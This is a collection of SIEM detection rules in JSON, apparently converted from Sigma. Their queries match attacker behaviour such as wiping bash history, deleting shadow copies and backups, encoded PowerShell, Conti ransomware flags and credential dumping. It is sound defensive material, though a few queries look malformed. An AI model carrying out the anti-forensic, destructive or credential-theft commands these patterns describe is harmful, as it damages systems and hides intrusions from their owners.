{"description": "Checks whether the image specified in a process creation event is not a full, absolute path (caused by process ghosting or other unorthodox methods to start a process)", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "4d86f3fc-d6bf-efd4-81ab-6307966d0fa2", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Execution Of Non-Existing File", "query": "((NOT (process.executable.text:*\\\\*)) AND (NOT ((NOT _exists_:process.executable.text) OR (process.executable.text:(\"\\-\" OR \"\")) OR (process.executable.text:(\"Registry\" OR \"MemCompression\" OR \"vmmem\") OR process.command_line.text:(\"Registry\" OR \"MemCompression\" OR \"vmmem\")))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Max Altgelt"], "license": ""}
{"description": "Clear command history in linux which is used for defense evasion.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "aa4aa339-9033-fc5f-001e-6ac656ea91b5", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Clear Command History", "query": "(*rm\\ *bash_history* OR *echo\\ \\\"\\\"\\ >\\ *bash_history* OR *cat\\ \\/dev\\/null\\ >\\ *bash_history* OR *cat\\ \\/dev\\/zero\\ >\\ *bash_history* OR *ln\\ \\-sf\\ \\/dev\\/null\\ *bash_history* OR *ln\\ \\-sf\\ \\/dev\\/zero\\ *bash_history* OR *truncate\\ \\-s0\\ *bash_history* OR *export\\ HISTFILESIZE\\=0* OR *history\\ \\-c* OR *history\\ \\-w* OR *shred\\ *bash_history* OR *empty_bash_history* OR *chattr\\ \\+i\\ *bash_history*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1070"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1070", "name": "Indicator Removal on Host", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Patrick Bareiss"], "license": ""}
{"description": "Clear command history in network OS which is used for defense evasion", "enabled": false, "false_positives": ["Legitimate administrators may run these commands"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "1e3900b4-8ff8-3ba1-6ebc-4fdf24a8ce59", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Cisco Clear Logs", "query": "(*clear\\ logging* OR *clear\\ archive*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1070"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1070", "name": "Indicator Removal on Host", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Austin Clark"], "license": ""}
{"description": "Code integrity failures may indicate tampered executables.", "enabled": false, "false_positives": ["Disk device errors"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6edea9d5-68b7-12ae-3512-aa16c33ea40d", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Failed Code Integrity Checks", "query": "(winlog.channel:\"Security\" AND winlog.event_id:(\"5038\" OR \"6281\"))", "meta": {"from": "1m"}, "severity": "low", "tags": ["Defense Evasion", "T1027"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Thomas Patzke"], "license": ""}
{"description": "Collect pertinent data from the configuration files", "author": ["Austin Clark"], "enabled": false, "false_positives": ["Commonly run by administrators"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "46289d54-6e15-db13-7d9b-9e2aec9b4247", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Cisco Collect Data", "query": "((*show running-config*) OR (*show startup-config*) OR (*show archive config*) OR (*more*))", "meta": {"from": "1m"}, "severity": "low", "tags": ["Credential Access", "T1005", "T1087", "T1552"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1552", "name": "Unsecured Credentials", "reference": ""}]}, {"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1087", "name": "Account Discovery", "reference": ""}]}, {"tactic": {"id": "TA0009", "reference": "", "name": "Collection"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1005", "name": "Data from Local System", "reference": ""}]}], "version": 1, "license": "", "references": [""], "timestamp_override": "event.ingested"}
{"description": "COM interface (EditionUpgradeManager) that is not used by standard executables.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c8822f05-a991-0462-d6dc-a2f4940bce20", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Load Undocumented Autoelevated COM Interface", "query": "winlog.event_data.CallTrace:*editionupgrademanagerobj.dll*", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation", "T1548"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["oscd.community", "Dmitry Uchakin"], "license": ""}
{"description": "Commandline to launch powershell with a base64 payload", "author": ["frack113"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "215e49d4-ad69-ee0c-36e8-c208557afacc", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Execution of Powershell with Base64", "query": "((process.executable.text:(*\\\\powershell.exe OR *\\\\pwsh.exe) AND process.command_line.text:(*\\ \\-e\\ * OR *\\ \\-en\\ * OR *\\ \\-enc\\ * OR *\\ \\-enco* OR *\\ \\-ec\\ *)) AND (NOT (((process.command_line.text:*\\ \\-Encoding\\ *)) OR ((process.parent.executable.text:(*C\\:\\\\Packages\\\\Plugins\\\\Microsoft.GuestConfiguration.ConfigurationforWindows\\\\* OR *\\\\gc_worker.exe*))))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": ["", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Compress taget file into a cab file stored in the Alternate Data Stream (ADS) of the target file.", "enabled": false, "false_positives": ["Very Possible"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "950d2c64-036a-f486-676b-6213cb91f435", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Diantz Alternate Data Stream Execution", "query": "(process.command_line:*diantz.exe* AND process.command_line:*.cab* AND process.command_line:/:[^\\\\\\\\]/)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1564"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1564", "name": "Hide Artifacts", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Compress target file into a cab file stored in the Alternate Data Stream (ADS) of the target file.", "author": ["frack113"], "enabled": false, "false_positives": ["Very Possible"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "950d2c64-036a-f486-676b-6213cb91f435", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Diantz Alternate Data Stream Execution", "query": "(process.command_line.text:*diantz.exe* AND process.command_line.text:*.cab* AND (process.command_line.text:/:/ OR process.command_line.text:/[/ OR process.command_line.text:/^/ OR process.command_line.text:/\\/ OR process.command_line.text:/\\/ OR process.command_line.text:/]/))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1564"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1564", "name": "Hide Artifacts", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Configure systems to issue a log entry and alert when an account is added to or removed from any group assigned administrative privileges. Sigma detects\\ \\ Event ID 4728 indicates a \\u2018Member is added to a Security Group\\u2019. Event ID 4729 indicates a \\u2018Member is removed from a Security enabled-group\\u2019\\ . Event ID 4730 indicates a\\u2018Security Group is deleted\\u2019. The case is not applicable for Unix OS. Supported OS - Windows 2008 R2 and 7, Windows 2012 R2\\ \\ and 8.1, Windows 2016 and 10 Windows Server 2019, Windows Server 2000, Windows 2003 and XP.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "2248acb5-c80a-57c3-b029-5a5d91f85719", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Group Modification Logging", "query": "(winlog.channel:\"Security\" AND winlog.event_id:(\"4728\" OR \"4729\" OR \"4730\" OR \"633\" OR \"632\" OR \"634\"))", "meta": {"from": "1m"}, "severity": "low", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", "", "", "", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["Alexandr Yampolskyi", "SOC Prime"], "license": ""}
{"description": "Conti ransomware command line ioc", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9d9055aa-22b1-f2b1-832b-a64945841572", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Conti Ransomware Execution", "query": "(process.command_line:*\\-m\\ * AND process.command_line:*\\-net\\ * AND process.command_line:*\\-size\\ * AND process.command_line:*\\-nomutex\\ * AND process.command_line:*\\-p\\ \\\\\\* AND process.command_line:*$*)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["T1486"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1486", "name": "Data Encrypted for Impact", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Conti recommendation to its affiliates to use esentutl to access NTDS dumped file. Trickbot also uses this utilities to get MSEdge info via its module pwgrab.", "enabled": false, "false_positives": ["To be determined"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "02967ce8-d940-f8c7-090b-8cfe51a33070", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Esentutl Gather Credentials", "query": "(process.command_line.text:*esentutl* AND process.command_line.text:*\\ \\/p*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access", "T1003", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}, {"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["sam0x90"], "license": ""}
{"description": "Csi.exe is a signed binary from Microsoft that comes with Visual Studio and provides C# interactive capabilities. It can be used to run C# code from a file passed as a parameter in command line. Early version of this utility provided with Microsoft \u201cRoslyn\u201d Community Technology Preview was named 'rcsi.exe'", "enabled": false, "false_positives": ["Legitimate usage by software developers"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "018628be-5d08-0850-4aa0-3168666a1d1c", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Csi.exe Usage", "query": "((process.executable:(*\\\\csi.exe OR *\\\\rcsi.exe) OR winlog.event_data.OriginalFileName:(\"csi.exe\" OR \"rcsi.exe\")) AND Company:\"Microsoft\\ Corporation\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1072", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1072", "name": "Software Deployment Tools", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", "", "", ""], "timestamp_override": "event.ingested", "author": ["Konstantin Grishchenko", "oscd.community"], "license": ""}
{"description": "Define a baseline threshold for failed sign-ins due to Conditional Access failures", "enabled": false, "false_positives": ["Service Account misconfigured", "Misconfigured Systems", "Vulnerability Scanners"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "5daf68ea-123b-5dc1-1ee7-5bf6748a2d1f", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Sign-in Failure Due to Conditional Access Requirements Not Met", "query": "(ResultType:\"53003\" AND Resultdescription:\"Blocked\\ by\\ Conditional\\ Access\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1110"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1110", "name": "Brute Force", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Yochana Henderson", "'@Yochana-H'"], "license": ""}
{"description": "Deletes the Windows systemstatebackup using wbadmin.exe.\nThis technique is used by numerous ransomware families.\nThis may only be successful on server platforms that have Windows Backup enabled.\n", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d98cadf8-0683-5b99-edb3-c750fafa2bd7", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Wbadmin Delete Systemstatebackup", "query": "((process.executable:*\\\\wbadmin.exe OR process.command_line:*wbadmin*) AND (process.command_line:*delete\\ * AND process.command_line:*systemstatebackup\\ * AND process.command_line:*\\-keepVersions\\:0*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1490"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1490", "name": "Inhibit System Recovery", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Deletes Windows Volume Shadow Copies with PowerShell code and Get-WMIObject. This technique is used by numerous ransomware families such as Sodinokibi/REvil", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "88e70148-5b88-2979-a108-f7ade842a1a5", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Delete Volume Shadow Copies via WMI with PowerShell", "query": "(powershell.file.script_block_text:*Get\\-WmiObject* AND powershell.file.script_block_text:*Win32_Shadowcopy* AND powershell.file.script_block_text:*.Delete\$\$*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1490"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1490", "name": "Inhibit System Recovery", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Deletion of log files is a known anti-forensic technique", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b4d80bda-f427-b427-2920-fc51da61620d", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Delete Log from Application", "query": "((file.path:*.log AND file.path:*\\\\TeamViewer_*) AND (NOT (process.executable:\"C\\:\\\\Windows\\\\system32\\\\svchost.exe\")))", "meta": {"from": "1m"}, "severity": "low", "tags": ["Defense Evasion", "T1070"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1070", "name": "Indicator Removal on Host", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Deployment Image Servicing and Management tool. DISM is used to enumerate, install, uninstall, configure, and update features and packages in Windows images", "enabled": false, "false_positives": ["Legitimate script"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "46fe21d4-6596-ae6d-87bc-000a1f22c998", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Dism Remove Online Package", "query": "((process.executable.text:*\\\\DismHost.exe AND process.parent.command_line.text:*\\/Online* AND process.parent.command_line.text:*\\/Disable\\-Feature*) OR (process.executable.text:*\\\\Dism.exe AND process.command_line.text:*\\/Online* AND process.command_line.text:*\\/Disable\\-Feature*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detect a system being shutdown or put into different boot mode", "author": ["Austin Clark"], "enabled": false, "false_positives": ["Legitimate administrators may run these commands, though rarely."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "2877d6fa-0627-7ed7-fcee-78b818761822", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Cisco Denial of Service", "query": "((*shutdown*) OR (*config-register 0x2100*) OR (*config-register 0x2142*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1495", "T1529", "T1565"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1495", "name": "Firmware Corruption", "reference": ""}, {"id": "T1529", "name": "System Shutdown/Reboot", "reference": ""}, {"id": "T1565", "name": "Data Manipulation", "reference": ""}]}], "version": 1, "license": "", "references": [""], "timestamp_override": "event.ingested"}
{"description": "Detect access has been blocked by Conditional Access policies. The access policy does not allow token issuance which might be sights\u2248 of unauthorizeed login to valid accounts.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "e335ab51-c077-9087-b0f4-5264e84ec290", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "User Access Blocked by Azure Conditional Access", "query": "ResultType:\"53003\"", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access", "T1110"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1110", "name": "Brute Force", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["AlertIQ"], "license": ""}
{"description": "Detect AD credential dumping using impacket secretdump HKTL", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e2b2dadc-5ad8-3196-2837-c0a8894e68b8", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Possible Impacket SecretDump Remote Activity", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"5145\" AND winlog.event_data.ShareName:\\\\\\\\\\*\\\\ADMIN$ AND winlog.event_data.RelativeTargetName:*SYSTEM32\\\\* AND winlog.event_data.RelativeTargetName:*.tmp*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1003", "T1003", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}, {"id": "T1003", "name": "OS Credential Dumping", "reference": ""}, {"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Samir Bousseaden", "wagga"], "license": ""}
{"description": "Detect AD credential dumping using impacket secretdump HKTL. Based on the SIGMA rules/windows/builtin/win_impacket_secretdump.yml", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["*ecs-*"], "interval": "5m", "rule_id": "7f1cd800-453a-1ed5-620e-4e69047ccbf1", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Possible Impacket SecretDump Remote Activity - Zeek", "query": "(event.dataset:\"smb_files\" AND file.path:*\\\\* AND file.path:*ADMIN$* AND file.name:*SYSTEM32\\\\* AND file.name:*.tmp)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1003", "T1003", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}, {"id": "T1003", "name": "OS Credential Dumping", "reference": ""}, {"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Samir Bousseaden", "@neu5ron"], "license": ""}
{"description": "Detect an interactive AT job, which may be used as a form of privilege escalation.", "enabled": false, "false_positives": ["Unlikely (at.exe deprecated as of Windows 8)"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ade74e65-e407-d7ba-fccf-0648be366dc8", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Interactive AT Job", "query": "(process.executable:*\\\\at.exe AND process.command_line:*interactive*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1053"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1053", "name": "Scheduled Task/Job", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["E.M. Anhaus (originally from Atomic Blue Detections", "Endgame)", "oscd.community"], "license": ""}
{"description": "Detect attacker collecting audio via SoundRecorder application.", "enabled": false, "false_positives": ["Legitimate audio capture by legitimate user."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "0d369dd8-f418-6ed7-a813-f1bfff0d6616", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Audio Capture via SoundRecorder", "query": "(process.executable:*\\\\SoundRecorder.exe AND process.command_line:*\\/FILE*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1123"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0009", "reference": "", "name": "Collection"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1123", "name": "Audio Capture", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["E.M. Anhaus (originally from Atomic Blue Detections", "Endgame)", "oscd.community"], "license": ""}
{"description": "Detect Attempt PrintNightmare (CVE-2021-1675) Remote code execution in Windows Spooler Service", "author": ["Florian Roth", "KevTheHermit", "fuzzyf10w"], "enabled": false, "false_positives": ["Account fallback reasons (after failed login with specific account)"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e66128dc-74c2-88cb-5494-ac9c1b42d878", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Rejected SMB Guest Logon From IP", "query": "(winlog.event_id:\"31017\" AND UserName:\"\" AND ServerName:\\\\1*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access", "T1110"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1110", "name": "Brute Force", "reference": ""}]}], "version": 1, "references": ["", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detect attempt to enable auditing of TTY input", "author": ["Pawel Mazur"], "enabled": false, "false_positives": ["Administrative work"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "90a32d08-d254-b936-42c9-0642bc14646a", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Linux Keylogging with Pam.d", "query": "(((type:\"PATH\" AND name:(\"/etc/pam.d/system-auth\" OR \"/etc/pam.d/password-auth\"))) OR (type:(\"TTY\" OR \"USER_TTY\")))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1003", "T1056"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}, {"id": "T1056", "name": "Input Capture", "reference": ""}]}], "version": 1, "references": ["", "", "", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detect change of the user account associated with the FAX service to avoid the escalation problem.", "author": ["frack113"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9df2776a-b07f-0498-3d17-309514b14a86", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Change User Account Associated with the FAX Service", "query": "(winlog.event_data.TargetObject:\"HKLM\\System\\CurrentControlSet\\Services\\Fax\\ObjectName\" AND (NOT (winlog.event_data.Details:*NetworkService*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1112"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1112", "name": "Modify Registry", "reference": ""}]}], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detect changes in auditd configuration files", "enabled": false, "false_positives": ["Legitimate administrative activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "ae942161-4c24-7b8a-168b-148565856abc", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Auditing Configuration Changes on Linux Host", "query": "(type:\"PATH\" AND name:(\\/etc\\/audit\\/* OR \"\\/etc\\/libaudit.conf\" OR \\/etc\\/audisp\\/*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": ["", "self experience"], "timestamp_override": "event.ingested", "author": ["Mikhail Larin", "oscd.community"], "license": ""}
{"description": "Detect changes of syslog daemons configuration files", "enabled": false, "false_positives": ["Legitimate administrative activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "7cec34be-a8cb-e24d-fd57-7580727ec63c", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Logging Configuration Changes on Linux Host", "query": "(type:\"PATH\" AND name:(\"\\/etc\\/syslog.conf\" OR \"\\/etc\\/rsyslog.conf\" OR \"\\/etc\\/syslog\\-ng\\/syslog\\-ng.conf\"))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": ["self experience"], "timestamp_override": "event.ingested", "author": ["Mikhail Larin", "oscd.community"], "license": 